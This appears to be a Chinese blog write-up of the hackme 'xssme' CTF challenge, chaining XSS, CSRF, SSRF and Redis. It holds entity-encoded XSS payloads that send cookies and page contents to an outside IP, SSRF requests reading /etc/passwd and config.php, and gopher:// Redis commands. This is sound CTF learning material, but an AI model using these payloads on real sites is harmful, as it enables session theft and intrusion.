N0rth3ty's Blog.

XSSme题目复现

字数统计: 2.7k阅读时长: 14 min
2018/10/23 Share

前言

hackme上一道感觉挺有意思的题目,看了dalao的文章复现一下
XSS+CSRF+Redis,可以说是一道非常nice的题目了(特别是作为写过xssbot的我看来
这样的优质题目真的良心

原文地址 https://www.anquanke.com/post/id/156377

xssme复现

题目链接

1
https://xssrf.hackme.inndy.tw/index.php

扫一下目录,有个robots.txt

1
2
3
4
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip

压缩包里有个config.php,但是需要密码,因为是web题目的话应该是不大可能爆破什么的
再结合泄露的信息想的话密码应该在config.php中,想办法去读

回到首页先看看
I am admin from this website, I will read all your mails but never reply.
很明显的csrf套路,所以大致思路是xss+csrf读源码
给admin发邮件试一试,xss恶意代码触发了waf
image
用属性的实体编码可以bypass
原始payload样板为

1
2
<svg/onload="javascript:alert(1)">
<svg/onload=alert(1)>

实体编码下其中一个

1
<svg/onload="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x68;&#x72;&#x65;&#x66;&#x3D;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x32;&#x33;&#x2E;&#x32;&#x30;&#x37;&#x2E;&#x31;&#x34;&#x2E;&#x34;&#x35;&#x3A;&#x37;&#x37;&#x37;&#x37;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;">

src属性已经禁用js伪协议了。。之前也不知道被哪篇文章误导了,坑了我好久,果然实践才是检验真理的唯一标准。

其实这也是我屡试不爽的payload
成功打到cookie
image

1
FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}

然后有个提示,FLAG_2=IN_THE_REDIS
应该是flag2在redis中的意思

先用admin的cookie尝试登陆一下
发现只允许local
image
改XFF是绕不过去的,而且这种设计XSS题一般思路都是用XSS去读源码
有点类似网鼎高校组那一场
直接尝试读一下后台的源码

1
<svg/onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)">

同理直接编码

1
2
<svg/onload="&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x31;&#x32;&#x33;&#x2E;&#x32;&#x30;&#x37;&#x2E;&#x31;&#x34;&#x2E;&#x34;&#x35;&#x3A;&#x37;&#x37;&#x37;&#x37;&#x2F;&#x3F;&#x27;&#x2B;&#x62;&#x74;&#x6F;&#x61;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x62;&#x6F;&#x64;&#x79;&#x2E;&#x69;&#x6E;&#x6E;&#x65;&#x72;&#x48;&#x54;&#x4D;&#x4C;&#x29;
">

image
编码一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">

<div class="card text-white bg-dark">
<div class="card-body">
<h2 class="card-title">
4444444 </h2>
<h4>From: <a href="sendmail.php?to=a11">a11</a></h4>
<div class="card-text"><svg onload="document.location='http://123.207.14.45:7777/?'+btoa(document.body.innerHTML)
"></svg></div>
</div>
</div>
</div>

比较一下,这段代码显然是admin才拥有的

1
2
3
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>

然后要如何利用呢
访问发现同样要admin才可以
这里就必须用AJAX读源码了,和网鼎一样的套路

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

编码一下可以打到requests.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Request</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
<style>pre { background-color: #eee; padding: 5px; }</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">


<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10">

看到这里提交的表单,基本可以确定是一个SSRF了
SSRF+file协议可以读文件
真的是完美的链条啊
同样利用AJAX发送POST包

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

读取etc/passwd作为尝试
记住同样是要实体编码的
image
可以看到读取成功了
现在理一下思路的话会发现我们可以去读最开始的那个config.php了
同样的方法读取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">

这里需要猜一下根目录

1
2
Apache /var/wwww/html
Nginx /usr/local/nginx/html

这是一般默认的根目录
读到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Request</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
<style>pre { background-color: #eee; padding: 5px; }</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">

<pre><code><?php

// database config
define('DB_USER', 'xssrf');
define('DB_PASS', 'xssrfmeplz');
define('DB_HOST', 'host=localhost');
define('DB_NAME', 'xssrf');

// redis config
define('REDIS_HOST', 'localhost');
define('REDIS_PORT', 25566);

// define flag
define('FLAG', 'FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}');

$c_hardness = 5; // how many proof of work leading zeros
</code></pre>

<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10">file:///var/www/html/config.php

可以看到第二个flag
并且提示下一个flag要利用redis
redis最常见的姿势无非是未授权访问
可以利用gopher协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://123.207.14.45:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

要注意的是在SSRF利用gopher协议时,命令前要加_
同时要进行两次URL编码(实际解码了两次,SSRF本身要解码

这里其实可以直接保存到本地为html文件再打开看效果
image

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_keys%2520*");

这里的空格就是编码两次的
然后可以看到有个flag的键
image
然后读一下flag

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag")

报错了,类型错误,那就看一下类型吧(有不会的就去翻文档

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");

是个列表,再看下长度

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag");

读一下

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053")

nice啊马飞
image
python脚本处理下

1
2
3
4
5
s='.....'
flag = s.replace('\n\n\n\n',' ')
flag = flag.replace('$1','')
flag = flag.replace('\n','')
print(flag[::-1])

终于搞定了

1
FLAG{Redis without authentication is easy to exploit}

后记

xss牛逼
然后这真的是道好题啊

CATALOG
  1. 1. 前言
  2. 2. xssme复现
  3. 3. 后记